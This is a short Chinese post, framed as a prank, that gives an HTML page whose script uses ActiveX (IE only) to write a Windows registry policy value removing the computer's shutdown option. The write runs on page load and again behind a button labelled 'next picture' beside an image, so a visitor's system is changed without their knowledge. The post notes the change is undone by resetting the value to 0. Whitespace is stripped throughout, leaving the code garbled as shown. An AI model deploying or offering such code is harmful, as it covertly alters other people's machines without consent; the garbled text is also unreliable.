JavaScript实现删除电脑的关机键
纯属恶作剧（只对IE浏览器有效因为要调用ActiveX）
<!--
E-mail：shyhero@outlook.com
Author:dujianing
删除关机按钮
-->
<!DOCTYPEhtml>
<html>
<head>
<metacharset="UTF-8"/>
<title></title>
<scripttype="text/javascript"language="javascript">
functiondisableTaskMgr(flg){
varshell=newActiveXObject("WScript.Shell");
try{
shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
1,"REG_DWORD")
}catch(e){
throwe;
}
}
</script>
</head>
<bodyonLoad="disableTaskMgr(true)">
<imgsrc="imgs/2.jpg"/>
<buttononclick="disableTaskMgr(true)">下一张
</button>
</body>
</html>
备注：可以恶作剧一下，修改注册表，把值改为0就能还原